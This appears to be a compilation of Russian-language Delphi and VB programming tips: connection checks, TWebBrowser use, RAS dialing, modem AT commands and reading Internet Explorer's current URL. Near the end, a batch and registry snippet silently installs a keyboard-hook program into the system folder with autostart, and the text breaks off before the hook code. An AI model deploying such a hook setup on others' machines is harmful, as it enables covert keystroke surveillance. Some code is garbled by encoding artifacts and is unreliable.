AppendMenu(result, MF_STRING, 0, 'site');
AppendMenu(result, MF_STRING, 1, 'letter');
AppendMenu(result, MF_SEPARATOR, 2, nil);
AppendMenu(result, MF_STRING, 3, 'Exit');
end;
// Создание Tray:
procedure CreateTray;
var
tray: TNotifyIconData;
begin
with tray do begin
cbSize := sizeof(TNotifyIconData);
wnd := mywnd;
uID := 0;
uFlags := NIF_ICON or NIF_MESSAGE or NIF_TIP;
uCallBackMessage := WM_NOTIFYTRAYICON;
hIcon := LoadIcon(0, IDI_ASTERISK);
szTip := ('My Resident');
end;
Shell_NotifyIcon(NIM_ADD, @tray);
end;
// Удаление tray:
procedure DeleteTray;
var
tray: TNotifyIconData;
begin
with tray do begin
cbSize := sizeof(TNotifyIconData);
wnd := mywnd;
uID := 0;
end;
Shell_NotifyIcon(NIM_DELETE, @tray);
end;
// Изменение соединения
procedure InetConnectionChange(connecting: boolean);
begin
if connecting then begin
CreateTray; // Создание tray
menu := CreateMyMenu; // Создание муню
end else begin
DestroyMenu(menu); // удалить мнею
DeleteTray; // удалить tray
menu := 0;
end;
end;
// Главная оконная процедура:
function MyWndProc(wnd: hWnd; msg, wParam,
lParam: longint): longint; stdcall;
var
p: TPoint;
DataType, DataSize: cardinal;
begin
case msg of
WM_TIMER: begin
// проверка соединения:
DataSize := 4;
if RegQueryValueEx(reg, 'Remote Connection', nil, @DataType,
@connection, @DataSize) <> ERROR_SUCCESS then MessageBeep(0);
if (connection = 0) <> (menu = 0) then
InetConnectionChange(connection > 0);
result := 0;
end;
WM_NOTIFYTRAYICON: begin // Событие tray
// Если нажата правая кнопка, показать меню:
if lparam = WM_RBUTTONUP then begin
SetForegroundWindow(mywnd);
GetCursorPos(p);
TrackPopupMenu(menu, TPM_LEFTALIGN, p.x, p.x, 0, wnd, nil);
end;
result := 0;
end;
WM_COMMAND: begin // Выбран пункт меню
{ В зависимости от выбранного пункта меню открывается
program.dax.ru в браузере или создается письмо или
закрывается программа: }
case loword(wparam) of
0: ShellExecute(hinstance, nil, 'http://program.dax.ru/',
nil, nil, SW_SHOWNORMAL);
1: ShellExecute(hinstance, nil,
'mailto:program@dax.ru?subject=subscribe',
nil, nil, SW_SHOWNORMAL);
else SendMessage(mywnd, WM_CLOSE, 0, 0);
end;
result := 0;
end;
WM_DESTROY: begin // Закрытие программы
DeleteTray; // Удаление Tray
PostQuitMessage(0);
result := 0;
end;
else result := DefWindowProc(wnd, msg, WParam, LParam);
end;
end;
// Создание окна:
function CreateMyWnd: hWnd;
var
wc: WndClass;
begin
// Регистрация класса:
wc.style := CS_HREDRAW or CS_VREDRAW;
wc.lpfnWndProc := @MyWndProc;
wc.cbClsExtra := 0;
wc.cbWndExtra := 0;
wc.hInstance := hInstance;
wc.hIcon := LoadIcon(hinstance, IDI_ASTERISK);
wc.hCursor := LoadCursor(hinstance, IDC_ARROW);
wc.hbrBackground := COLOR_INACTIVECAPTION;
wc.lpszMenuName := nil;
wc.lpszClassName := ClassName;
if RegisterClass(wc) = 0 then halt(0);
// Создание окна:
result := CreateWindowEx(WS_EX_APPWINDOW, ClassName,
'My Window', WS_POPUP, 100, 100, 200, 200, 0, 0, hInstance, nil);
if result = 0 then halt(0);
end;
var msg: TMsg;
begin
mywnd := CreateMyWnd; // Создание окна
// Установка низкого приоритета:
SetThreadPriority(GetCurrentThread, THREAD_PRIORITY_IDLE);
if RegOpenKeyEx(HKEY_LOCAL_MACHINE,
'System\CurrentControlSet\Services\RemoteAccess', 0,
KEY_NOTIFY, reg) <> ERROR_SUCCESS then halt(0);
SetTimer(mywnd, 0, 1000, nil); // Создание таймера
// Распределение сообщений:
while (GetMessage(msg, 0, 0, 0)) do begin
TranslateMessage(msg);
DispatchMessage(msg);
end;
KillTimer(mywnd, 0); // Удаление таймера
RegCloseKey(reg); // Закрытие раздела реестра
end.
Часто приложению, которое работает в интернете, требуется знать, подключён пользователь к интернету или нет. Предлагаю Вам
довольно гибкое решение этого вопроса.
Совместимость: Delphi 3.x (или выше)
Для работы Вам необходимо импортировать функцию InetIsOffline из URL.DLL:
function InetIsOffline(Flag: Integer): Boolean; stdcall; external 'URL.DLL';
а затем поместить в программу простой вызов функции для проверки статуса соединения:
if InetIsOffline(0) then
ShowMessage('This computer is not connected to Internet!')
else
ShowMessage(You are connected to Internet!');
Эта функция возвращает TRUE если соединение с интернетов отсутствует, или FALSE если соединение установлено.
Замечание:
параметр Flag игнорируется, соответственно используем ноль.
Эта DLL обычно проинсталлирована на большинстве компьютеров. Она также существует в Win98 либо поставляется с Internet
Explorer 4 или выше, Office 97 и т.д..
Более подробно можно прочитать в MSDN.
Оригинал: http://msdn.microsoft.com/library/psdk/shellcc/shell/Functions/InetIsOffline.htm
Автор: Vitaly Zayko (zayko@vitsoftware.com)
Источник: http://www.sources.ru/delphi/
Комментарий от Ефремова Александра (aleks@vilgus.kamchatka.ru)
Зашел на официальный сайт Microsoft по MSDN где черным по белому написано, что функция эта выдает false не только, когда комп
подключен к
интернету, но и когда ЕЩЕ НЕ БЫЛО ПОПЫТОК подключения (or if no attempt has yet been made to connect to the Internet). Ну и
скажите мне теперь, какой у этой функции тогда смысл ? Да, умом Microsoft не
понять (к сожалению). Помогите найти нормальный способ проверки подключения к инет (online).
Merlin: самым нормальны, мне кажется, пинговать какой-то адрес в интернете, лучше два :) но это тоже связано с проблемой, что
может запускаться установка связи, когда не надо.
Комментарий от Dmitry Shkil (Mitya@bigmir.net) ShkilSoft
interface
uses
Windows;
{ Flags for InternetGetConnectedState }
const
INTERNET_CONNECTION_MODEM = 1;
INTERNET_CONNECTION_LAN = 2;
INTERNET_CONNECTION_PROXY = 4;
INTERNET_CONNECTION_MODEM_BUSY = 8;
const
winetdll = 'wininet.dll';
function InternetGetConnectedState(lpdwFlags: LPDWORD; dwReserved:
DWORD):BOOL; stdcall; external winetdll name 'InternetGetConnectedState';
implementation
function InternetConnected: Boolean;
var
dwConnectionTypes: DWORD;
begin
dwConnectionTypes :=
INTERNET_CONNECTION_MODEM +
INTERNET_CONNECTION_LAN +
INTERNET_CONNECTION_PROXY;
Result := InternetGetConnectedState(@dwConnectionTypes, 0);
end;
Хотя возможно через RAS API. Компоненты можно поискать на www.torry.net
Kondakov (owl@conecs.lviv.ua)
Я попробовал это на основе предложения Dmitriya Работает вроде. . Через Button or Activate
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls;
const IC_Modem=1;
IC_LAN= 2;
IC_PROXY=3;
IC_MODEM_BUSY=4;
winetdll='wininet.dll';
type
TForm1 = class(TForm)
Button1: TButton;
procedure CheckState(Sender: TObject);
end;
var
Form1: TForm1;
implementation
function InternetGetConnectedState(lpdwFlags:LPDWORD; dwReserved: DWORD): BOOLEAN; stdcall; external winetdll name
'InternetGetConnectedState';
{$R *.DFM}
procedure TForm1.CheckState(Sender: TObject);
var dwConnectionTypes: DWORD;
begin
dwConnectionTypes:=IC_MODEM+IC_LAN+IC_PROXY;
if InternetGetConnectedState(@dwConnectionTypes,0) then ShowMessage('Youa connected')
else ShowMessage('No Connection');
end;
end.
Комментарий от "Vladimir Artemov"
Из MSDN:
You cannot rely solely on the fact that InternetGetConnectedState returning TRUE means that you have a valid active Internet
connection. It is impossible for InternetGetConnectedState to determine if the entire connection to the Internet is functioning
without sending a request to a server. This is why you need to send a request to determine if you are really connected or not.
You can be assured however that if InternetGetConnectedState returns TRUE, that attempting your connection will NOT cause you
to be prompted to connect to the default Internet Service Provider.
Ну не получится таким образом ДОСТОВЕРНО проверить! Надо либо подключаться, либо пинговать.
Читая и перечитывая вопросы и ответы на Круглом столе сайта Королевство Дельфи я все время натыкался на вопросы о компоненте
TWebBrowser.
Сначала я думал, что все просто, но когда самому понадобилось написать приложение с использованием TwebBrowser… оказалось,
что не все так просто!
Эта статья не претендует на исчерпывающие руководство по написанию браузера в Delphi 5 - скорее всего она будет со
временем дополняться и исправляться. Я постарался обобщить в одном работающем примере решения большинства вопросов,
заданных на этом сайте (признаюсь, там были и мои). Также выражаю большую признательность Елене Филлиповой за
исчерпывающие ответы на некоторые из них, и всему Королевству за столь хороший и полезный сайт.
Компонент TWebBrowser в Delphi 4 нужно было специально инсталлировать как Active X компонент.
В 5-й версии нам пошли навстречу, и он сразу есть на вкладке Internet.
Не буду останавливаться на особенностях интерфейса программы - он очень прост (надеюсь, не очень) и не вызовет трудностей.
Рассмотрим некоторые свойства и функции TwebBrowser.
procedure GoBack;
procedure GoForward;
procedure GoHome;
procedure GoSearch;
procedure Refresh;
procedure Stop;
procedure Quit;
Названия этих процедур говорят сами за себя, а позволяют они осуществить управление просмотром - перейти по истории
просмотра вперед, назад, перейти на страницу, установленную как домашняя, открыть страницу поиска, обновить текущую
страницу, остановить загрузку страницы, выйти.
Последняя команда самая интересная - в Help написано, что использовать ее не надо. Она завершает работу IE и очищает окно. Но
я проверял - вроде вреда от ее использования не наблюдалось.
Далее идет целая группа процедур:
procedure Navigate(const URL: WideString); overload;
procedure Navigate(const URL: WideString; var Flags: OleVariant); overload;
procedure Navigate(const URL: WideString; var Flags: OleVariant; var
TargetFrameName: OleVariant); overload;
procedure Navigate(const URL: WideString; var Flags: OleVariant;
var TargetFrameName: OleVariant; var PostData: OleVariant); overload;
procedure Navigate(const URL: WideString; var Flags: OleVariant;
var TargetFrameName: OleVariant; var PostData: OleVariant;
var Headers: OleVariant); overload;
Все они предназначены для указания того, какая и как страница должна отображаться в браузере. В простейшем случае можно
использовать первую процедуру
procedure Navigate(const URL: WideString);
Например так:
WebBrowser1.Navigate(' http://delphi.vitpc.com/');
Или
WebBrowser1.Navigate(' http://delphi.vitpc.com/',empty,empty,empty,empty)
Для значения Flag определены такие константы:
navOpenInNewWindow 1 Открывает URL в новом окне браузера
navNoHistory 2 Не заносит адрес в список History.
navNoReadFromCache 4 Не использует сохраненную в кеше страницу, а загружает с сервера.
navNoWriteToCache 8 Не записывает страницу в дисковый кеш.
navAllowAutosearch 16 Если броузер не может найти указанный домен, он передает его в поисковый механизм.
Все, это можно также вручную установить в настройках браузера.
TargetFrameName указывает имя фрейма, куда надо загрузить страницу. Если присвоить NULL страница просто загрузиться в
текущее окно.
PostData - указывает на данные, которые нужно отослать, используя метод HTTP POST. Если установить в NULL, процедура
Navigate будет использовать метод HTTP GET.
Следующая довольно интересная и полезная процедура
procedure ExecWB(cmdID: OLECMDID; cmdexecopt: OLECMDEXECOPT); overload;
Позволяет осуществить управление браузером и вызывать различные дополнительные функции - печать, сохранение и др.
Использует IoleCommandTarget интерфейс для управления браузером.
CmdID - задает команду, которую нужно выполнить. Может принимать следующие значения:
OLECMDID_OPEN,
OLECMDID_NEW,
OLECMDID_SAVE,
OLECMDID_SAVEAS,
OLECMDID_SAVECOPYAS,
OLECMDID_PRINT,
OLECMDID_PRINTPREVIEW,
OLECMDID_PAGESETUP,
OLECMDID_SPELL,
OLECMDID_PROPERTIES,
OLECMDID_CUT,
OLECMDID_COPY,
OLECMDID_PASTE,
OLECMDID_PASTESPECIAL,
OLECMDID_UNDO,
OLECMDID_REDO,
OLECMDID_SELECTALL,
OLECMDID_CLEARSELECTION,
OLECMDID_ZOOM,
OLECMDID_GETZOOMRANGE,
OLECMDID_UPDATECOMMANDS,
OLECMDID_REFRESH,
OLECMDID_STOP,
OLECMDID_HIDETOOLBARS,
OLECMDID_SETPROGRESSMAX ,
OLECMDID_SETPROGRESSPOS,
OLECMDID_SETPROGRESSTEXT,
OLECMDID_SETTITLE,
OLECMDID_SETDOWNLOADSTATE,
OLECMDID_STOPDOWNLOAD,
OLECMDID_FIND,
OLECMDID_ONTOOLBARACTIVATED,
OLECMDID_DELETE,
OLECMDID_HTTPEQUIV,
OLECMDID_ENABLE_INTERACTION,
OLECMDID_HTTPEQUIV_DONE,
OLECMDID_ONUNLOAD,
OLECMDID_PROPERTYBAG2,
OLECMDID_PREREFRESH
Если присмотреться, то можно увидеть, что некоторые из них дублируються процедурами Stop, Refresh и др. Но большенство
очень даже нужные.
Cmdexecopt - указывает дополнительно, как команда должна исполняться. Может принимать значения:
OLECMDEXECOPT_DODEFAULT 0 Команда исполняеться так, как принято по умолчанию.
OLECMDEXECOPT_PROMPTUSER 1 Перед выполнением выводиться окно диалога или дополнительных настроек.
OLECMDEXECOPT_DONTPROMPTUSER 2 Не задаеться никаких вопросов.
OLECMDEXECOPT_SHOWHELP 3 Выводиться справка по запрошеному действии, но сама команда не
выполняеться. Удобно для вызова из вашего приложения справки по IE.
Вызивать эту комманду желательно и даже нужно в блоке
try
WebBrowser1.ExecWB(OLECMDID_PRINT, OLECMDEXECOPT_PROMPTUSER);
except
end;
Эта команда вызивает диалоговое окно печати документа. Если же опустить try…except, то при нажатии "Отмена" в этом окне
будет сгенерировано уведомление об ошибке типа:
raised exception class EOleException with message "Невозможно установить свойство coISpan. Недопустимое значения свойства.
Требуется ввести значение от 1 до 1000".
Теперь поговорим о свойствах.
PopupMenu; Как оконный элемент управления, TwebBrowser поддерживает всплывающие меню. НО! Ваше меню будет появляться
только пока в браузер не загружена страница. Дальше - только меню IE.
В Конференции предложили такой вариант для запрета появления стандартного меню
...
private
{ Private declarations }
procedure WMMouseActivate(var Msg: TMessage); message WM_MOUSEACTIVATE;
public
{ Public declarations }
end;
...
...
procedure TForm1.WMMouseActivate(var Msg: TMessage);
begin
try
inherited;
//правая кнопка мышки ?
if Msg.LParamHi = 516 then
Msg.Result:= MA_NOACTIVATEANDEAT;
// Тут можно вставить код для показания своего меню
except
end;
end;
property OffLine : WordBool; Позволяет загружать документы из локального кеша - если присвоить True.
property LocationURL: WideString; Позначено как "только для чтения" и содержит URL ресурса, загруженого в браузер.
Теперь события.
Среди самых важных/нужных есть:
OnDownloadBegin
OnDownloadComplete
OnBeforeNavigate2
OnNewWindow2
OnNavigateComplete2
OnDocumentComplete
OnDownloadBegin - происходит, когда вы, наберя URL, хотите перейти по нему. Тут можно задать например анимацию или
ProgressBar для индикации процесса загрузки страницы ( совмесно с OnProgressChange).
OnDownloadComplete, OnDownloadComplete, OnNavigateComplete2 - происходит, когда страница закончила грузиться.
Правда, здесь есть много нюансов при загрузке страниц с графикой и фреймами - для каждого загружаемого элемента будут
генерироваться новые события начала/окончания загрузки, а кроме того, если отключить загрузку рисунков/анимации/видео, так
вообще некоторые из них не будут происходить! Так что пользоваться ими нужно осторожно.
OnBeforeNavigate2 - происходит когда вы переходите по щелчку на гиперссылке из основной страницы, загруженной в браузер.
Сюда можно писать код, который например, анализирует - куда пользователь переходит, и соответственно, что-то делать. Или
запретить открывание новых окно, или открывать свои окна (типа сделать TtabbedNotebook c IE на каждой странице)
OnNewWindow2 - происходит, когда открывается новое окно браузера.
Я, конечно, много чего упустил - например, работу с интерфейсами, доступ к тегам страницы - но надеюсь, эта статья и
пример помогут вам сделать работоспособный браузер для дальнейших эксперементов. Успехов!
Как сделать, что бы отслеживалось, не произошло ли подключение к интернету, а если произошло, то чтобы запускался .bat-файл
Private Declare Function RasEnumConnections Lib "RasApi32.dll" Alias
"RasEnumConnectionsA" (lpRasCon As Any, lpcb As Long, lpcConnections As
Long) As Long
Private Declare Function RasGetConnectStatus Lib "RasApi32.dll" Alias
"RasGetConnectStatusA" (ByVal hRasCon As Long, lpStatus As Any) As Long
Private Const RAS95_MaxEntryName = 256
Private Const RAS95_MaxDeviceType = 16
Private Const RAS95_MaxDeviceName = 32
Private Type RASCONN95
dwSize As Long
hRasCon As Long
szEntryName(RAS95_MaxEntryName) As Byte
szDeviceType(RAS95_MaxDeviceType) As Byte
szDeviceName(RAS95_MaxDeviceName) As Byte
End Type
Private Type RASCONNSTATUS95
dwSize As Long
RasConnState As Long
dwError As Long
szDeviceType(RAS95_MaxDeviceType) As Byte
szDeviceName(RAS95_MaxDeviceName) As Byte
End Type
Private Sub Form_Load()
Timer1.Interval = 1000
Timer1.Enabled = True
End Sub
Private Sub Timer1_Timer()
If IsConnected() = True Then
'отключите таймер, если он больше не нужен, или хотя бы приостановите
его
Timer1.Enabled = False
'здесь нужно запустить ваш bat-файл
'Не забудьте указать правильную ссылку
Call Shell("ПутьКВашемуБатнику", vbHide)
'и если нужно, снова запустите таймер, сняв маркер со следующей строчки
'Timer1.Enabled = True
End If
End Sub
Public Function IsConnected() As Boolean
Dim TRasCon(255) As RASCONN95
Dim lg As Long
Dim lpcon As Long
Dim RetVal As Long
Dim Tstatus As RASCONNSTATUS95
TRasCon(0).dwSize = 412
lg = 256 * TRasCon(0).dwSize
RetVal = RasEnumConnections(TRasCon(0), lg, lpcon)
Tstatus.dwSize = 160
RetVal = RasGetConnectStatus(TRasCon(0).hRasCon, Tstatus)
If Tstatus.RasConnState = &H2000 Then
IsConnected = True
Else
IsConnected = False
End If
procedure TForm1.Button2Click(Sender: TObject);
var
CommPort : string;
hCommFile : THandle;
ModemStat : DWord;
begin
CommPort := 'COM2';
{Open the comm port}
hCommFile := CreateFile(PChar(CommPort),
GENERIC_READ,
0,
nil,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
0);
if hCommFile = INVALID_HANDLE_VALUE then
begin
ShowMessage('Unable to open '+ CommPort);
exit;
end;
{Get the Modem Status}
if GetCommModemStatus(hCommFile, ModemStat) <> false then begin
if ModemStat and MS_CTS_ON <> 0 then
ShowMessage('The CTS (clear-to-send) is on.');
if ModemStat and MS_DSR_ON <> 0 then
ShowMessage('The DSR (data-set-ready) is on.');
if ModemStat and MS_RING_ON <> 0then
ShowMessage('The ring indicator is on.');
if ModemStat and MS_RLSD_ON <> 0 then
ShowMessage('The RLSD (receive-line-signal-detect) is on.');
end;
{Close the comm port}
CloseHandle(hCommFile);
end;
var
hCommFile : THandle;
procedure TForm1.Button1Click(Sender: TObject);
var
PhoneNumber : string;
CommPort : string;
NumberWritten : LongInt;
begin
PhoneNumber := 'ATDT 1-555-555-1212' + #13 + #10;
CommPort := 'COM2';
{Open the comm port}
hCommFile := CreateFile(PChar(CommPort),
GENERIC_WRITE,
0,
nil,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
0);
if hCommFile=INVALID_HANDLE_VALUE then
begin
ShowMessage('Unable to open '+ CommPort);
exit;
end;
NumberWritten:=0;
if WriteFile(hCommFile,
PChar(PhoneNumber)^,
Length(PhoneNumber),
NumberWritten,
nil) = false then begin
ShowMessage('Unable to write to ' + CommPort);
end;
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
{Close the port}
CloseHandle(hCommFile);
end;
А теперь теория
[AT-КОМАНДЫ МОДЕМА]:
A Команда ответа (Answer Command)
Bn Настройка связи (Communications Options)
D Команда набора (Dial Command)
En Команда выбора символа эха (Select Command Character Echo
Option)
Hn Управление Switchhook - эмуляция нажатия телефонного рычага
(Control The Switchhook)
I0 Идентификация кода продукта (Identify The Product Code)
I2 Выполнение теста контрольной суммы ROM ( Perform ROM Checksum
Test)
Ln Выбор уровня громкости динамика (Select Speaker Volume Level)
Mn Функция выбора опций динамика (Select Speaker Function Option)
Nn Выбор опций для установления связи (Select Negotiate Handshake
Option)
On Переход к онлайновым командам (Go Online Command)
P Выбор метода пульсового набора (Select Pulse Dialing Method)
Qn Выбор опции результирующего кода (Select Result Code Option)
Sn= Запись в S-регистр (Write To An S-Register)
Sn? Чтение S-регистра (Read An S-Register)
T Выбор метода тонового набора (Select Tone Dialing Method)
Vn Выбор опции формата ответа (Select Response Format Option)
Wn Выбор расширенного результирующего кода (Select Extended Result
Code)
Xn Выбор опции модемного вызова (Select Call Progress Option)
Yn Выбор опции бездействия для разъединения (Select Long Space
Disconnect Option)
Zn Выполнение мягкого сброса (Perform Soft Reset)
&An Выбор роли автоответчика (Select Originate/Answer Role For
Autoanswer)
&Cn Выбор опции определения передаваемых данных (Select Data
Carrier Detect Option)
&Dn Выбор опции готовности терминала данных (Select Data Terminal
Ready Option)
&F Загрузка заводских установок (Load Factory Default Profile)
&Gn Выбор опции защиты тонового набора (Select Guard Tone Option)
&Kn Выбор опций потока ConTDol (Select Flow ConTDol Option)
&Pn Выбор параметров пульсового набора (Select Pulse Dialing
Parameters)
&Qn Выбор опций режима связи (Select Communications Mode Option)
&Rn Выбор опций RTS/CTS (Select RTS/CTS Option)
&Sn Выбор опций готовности передачи данных (Select Data Set Ready
Option)
&T0 Тест завершения в процессе (Terminate Test In Process)
&T1 Инициирование локального аналога сетевой петли (Initiate Local
Analog Loopback)
&T3 Выполнение локальной цифровой сетевой петли (Perform Local
Digital Loopback)
&T4 Включение предоставления RDL-запросов (Enable Granting Of RDL
Requests)
&T5 Запрет предоставления RDL-запросов (Deny Granting Of RDL
Requests)
&T6 Инициирование удаленной цифровой сетевой петли (Initiate
Remote Digital Loopback)
&T7 Иниицирование внутреннего теста RDL (Initiate RDL With Self
Test)
&T8 Внутренний тест локальной сетевой петли (Local Loopback With
Self Test)
&T19 Выполнение теста RTS/CTS кабеля (Perform RTS/CTS Cable Test)
&Un Отмена TDellis кодирования (Disable TDellis Coding)
&V Просмотр профилей конфигурации (View Configuration Profiles)
&Wn Сохранение активного профиля (Store Active Profile)
&Xn Выбор источника синхронизации времени TDansmit (Store Active
Profile)
&Yn Выбор сохранения профиля для аппаратного перезапуска (Select
Stored Profile For Hard Reset)
&Zn= Сохранение телефонного номера (Store Telephone Number)
, Пауза (Perform Pause)
= Запись в S-регистр (Write To An S-Register)
? Чтение S-регистра (Read An S-Register)
P Выбор пульсового набора (Select Pulse Dialing)
Т Тоновый набор (Tone)
S-регистры модема
[РЕГИСТРЫ МОДЕМА]
S0 Звонок, на который необходимо ответить (Ring After Which To
Answer)
S1 Количество звонков (Ring Count)
S2 Символ отмены (Hayes Escape Character)
S3 Символ перевода строки (Carriage Return Character)
S4 Символ пропуска строки (Line Feed Character)
S5 Символ пробела (Backspace Character)
S6 Ожидание перед вызывом (Wait Before Blind Dialing)
S7 Ожидание ответа (Wait For Carrier)
S8 Время паузы для запятой (Pause Time For Comma)
S9 Время восстановления (Carrier Recovery Time)
S10 Время задержки для поднятия трубки после потери соединения
(Lost Carrier Hang Up Delay)
S11 Время DTMF соединения (DTMF Dialing Speed)
S12 Время защиты отмены (Hayes Escape Guard Time)
S16 Выполнение теста (Test in Progress)
S18 Тест таймера модема (Modem Test Timer)
S19 Настройки автосинхронизации (AutoSync Options)
S25 Обнаружено изменение DTD (Detect DTD Change)
S26 Интервал задержки RTS для CTS (RTS To CTS Delay Interval)
S30 Неактивное время ожидания (Inactivity Timeout)
S31 Символ XON (XON Character)
S32 Символ XOFF (XON Character)
S36 Ошибка согласования TDeatment (Negotiation Failure TDeatment)
S37 Ускорение DCE линии (Desired DCE Line Speed)
S38 Время ожидания снятия трубки (Hang-up Timeout)
S43 Текущая скорость линии (Current Line Speed)
S44 Техническая конструкция (Framing Technique)
S46 Выбор протокола/компрессии (Protocol/Compression Selection)
S48 Действие характеристики согласования (Feature Negotiation
Action)
S49 Низкий предел буфера (Buffer Low Limit)
S50 Высокий предел буфера (Buffer High Limit)
S70 Максимальное число ReTDansmissions (Maximum Number of
ReTDansmissions)
S73 Неактивное время ожидания (No Activity Timeout)
S82 Выбор прерывания (Break Selection)
S86 Код причины неудачной связи (Connection Failure Cause Code)
S91 Выбор уровня TDansmit коммутируемой линии (Select Dial-up Line
TDansmit Level)
S95 Расширенный результат кода битовой карты (Extended Result Code
Bit Map)
S108 Селектор качества сигнала (Signal Quality Selector)
S109 Селектор скорости соединения (Carrier Speed Selector)
S110 Селектор V.32/V.32 bis (V.32/V.32 bis Selector)
S113 Тональный вызов ConTDol (Calling Tone ConTDol)
S121 Использование DTD (Use of DTD)
S141 Таймер фазы обнаружения (Detection Phase Timer)
S142 Онлайновый формат символов (Online Character Format)
S144 Выбор скорости автобода (Autobaud Speed Group Selection)
=== 1 ===
1. Если ты посто полезешь из программы куда-то по IP - то Win сама начнет dial-up, если у нее есть хотя бы одно
connection в
Remote Access.
2. Если ты хочешь, чтобы программа сама выбирала connection (если их имеется несколько), контролировала набор
номера,
посылала login и пароль, то тебе нужно воспользоваться функциями RAS.
{ Try to establish RAS connection with specified name. EntryName - an entry in default phonebook to be used for dial-up. Notes:
a) This call is synchronous (i.e. will not return until the connection is established or failed) and hence, may take some time
(sometimes tens
of seconds).
b) The function uses no dial extension, and uses default phonebook.}
function RasMakeDialupConnection( const EntryName :string ) :Boolean;
var dwRet : Dword;
DialParams :TRasDialParams;
hRas :HRASCONN;
bPwd :Boolean; // was the password retrieved
begin
uLastErr := 0; // Prepare dial parameters
FillChar( DialParams, SizeOf(DialParams), 0 );
DialParams.dwSize := SizeOf(DialParams);
StrPLCopy( @(DialParams.szEntryName[0]), EntryName, SizeOf(DialParams.szEntryName) );
hRas := 0; // must do that before calling RasDial // // Try to retrieve user name/passowrd. // We continue even if
RasGetEntryDialParams
returns error, because // in next call RasDial will just try with empty user name/password
bPwd := False;
RasGetEntryDialParams( nil, @DialParams, bPwd ); // // Call RAS API. In this particular case RasDial will not return until // the
connections
is established or failed to establish.
dwRet := RasDial( nil, nil, // no dial extensions, default phonebook
@DialParams,
0, // ignored here
nil, // do not use callback - the call is synch
hRas ); // receives connection handle
Result := (dwRet = 0); // // Connection failed... if not Result then begin // In some cases hRas may be non-zero and the
connection port // is
still opened. It is a Windows semi-bug/semi-feature. // So I must try to close
if hRas <> 0 then
RasHangupConnection( hRas ); // RasHangup may reset uLastErr, but we need the value // returned from RasDial
uLastErr := dwRet;
end;
end;
=== 2 ===
Function DialProvider(connection:string):boolean;
// connection - имя учетной записи
var pars:TRasDialParams;
hRas:ThrasConn;
r:integer;
begin
hRas:=0;
strpcopy(pars.szEntryName,connection); // имя учетной записи
pars.szPhoneNumber:=''; // номеp телефона - по умолчанию
pars.szcallbacknumber:=''; // callback нам не нужен
pars.szUserName:=''; // логин - по умолчанию
pars.szPassWord:=''; // паpоль - по умолчанию
pars.szDomain:=''; // аналогично с домейном
pars.dwSize:=Sizeof(TRasDialParams); // вычисляем pазмеp записи
r:=rasdial(nil,nil,pars,0,nil,hRas); // звоним
if r<>0 then begin // если что-то неполучилось, то
rasHangUp(hRas); // сбpасываем соединение
result:=false; // ф-ция тепеpь веpнет false
end
else result:=true; // а если все ок - то true.
end;
P.S. Ras.pas бpать с www.torry.ru
procedure TForm1.Button1Click(Sender: TObject);
var
CommPort : string;
hCommFile : THandle;
ModemStat : DWord;
begin
CommPort := 'COM2';
{Open the comm port}
hCommFile := CreateFile(PChar(CommPort),
GENERIC_READ,
0,
nil,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
0);
if hCommFile = INVALID_HANDLE_VALUE then
begin
ShowMessage('Unable to open '+ CommPort);
exit;
end;
{Get the Modem Status}
if GetCommModemStatus(hCommFile, ModemStat) lt gt false then begin
if ModemStat and MS_CTS_ON lt gt 0 then
ShowMessage('The CTS (clear-to-send) is on.');
if ModemStat and MS_DSR_O!
N lt gt 0 then
ShowMessage('The DSR (data-set-ready) is on.');
if ModemStat and MS_RING_ON lt gt 0then
ShowMessage('The ring indicator is on.');
if ModemStat and MS_RLSD_ON lt gt 0 then
ShowMessage('The RLSD (receive-line-signal-detect) is
on.');
end;
{Close the comm port}
CloseHandle(hCommFile);
end;
Нужна прога, которая бы следила за urlами в MSIE...
Пример показывает, как найти окно Internet Explorer, и захватить из него текущий URL, находящийся в поле адреса
IE. В Исходнике используются простые функции win32 api на delphi.
{-------------------------------------------------------}
Function GetText(WindowHandle: hwnd):string;
var
txtLength : integer;
buffer: string;
begin
TxtLength := SendMessage(WindowHandle, WM_GETTEXTLENGTH, 0, 0);
txtlength := txtlength + 1;
setlength (buffer, txtlength);
sendmessage (WindowHandle,wm_gettext, txtlength, longint(@buffer[1]));
result := buffer;
end;
function GetURL:string;
var
ie,toolbar,combo,
comboboxex,edit,
worker,toolbarwindow:hwnd;
begin
ie := FindWindow(pchar('IEFrame'),nil);
worker := FindWindowEx(ie,0,'WorkerA',nil);
toolbar := FindWindowEx(worker,0,'rebarwindow32',nil);
comboboxex := FindWindowEx(toolbar, 0, 'comboboxex32', nil);
combo := FindWindowEx(comboboxex,0,'ComboBox',nil);
edit := FindWindowEx(combo,0,'Edit',nil);
toolbarwindow := FindWindowEx(comboboxex, 0, 'toolbarwindow32', nil);
result := GetText(edit);
{-------------------------------------------------------}
procedure TForm1.Button1Click(Sender: TObject);
begin
showmessage(GetURL);
end;
=== 1 ===
(SV):
Если вы хотите обрабатывать событие на уровне формы (а не в каждом отдельном
компоненте), уберите обработчики события у всех компонент и создайте
FormKeyPress -- обработчик OnKeyPress для формы:
procedure Form1.OnKeyPress(Sender : TObject; var Key : char);
begin
if Key = #13 then begin
SelectNext(Sender as TWinControl, true, true);
Key := #0;
end;
end;
=== 2 ===
(AnSa): Давно хотелось высказаться по поводy этого способа. Во-пеpвых, нyжно
выставлять y фоpмы KeyPreview = True. Во-втоpых, если на фоpмy поместить
default-кнопкy, то никакого пеpемещения фокyса не бyдет.
Здесь переключатели на русский и на английский.
procedure SetRU;
var
Layout: array[0.. KL_NAMELENGTH] of char;
begin
LoadKeyboardLayout( StrCopy(Layout,'00000419'),KLF_ACTIVATE);
end;
procedure SetEN;
var
Layout: array[0.. KL_NAMELENGTH] of char;
begin
LoadKeyboardLayout(StrCopy(Layout,'00000409'),KLF_ACTIVATE);
end;
=== 1 ===
Вот, может поможет:
>1. Setup.bat
=== Cut ===
@echo off
copy HookAgnt.dll %windir%\system
copy kbdhook.exe %windir%\system
start HookAgnt.reg
=== Cut ===
>2.HookAgnt.reg
=== Cut ===
REGEDIT4
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"kbdhook"="kbdhook.exe"
=== Cut ===
>3.KbdHook.dpr
=== Cut ===
program cwbhook;
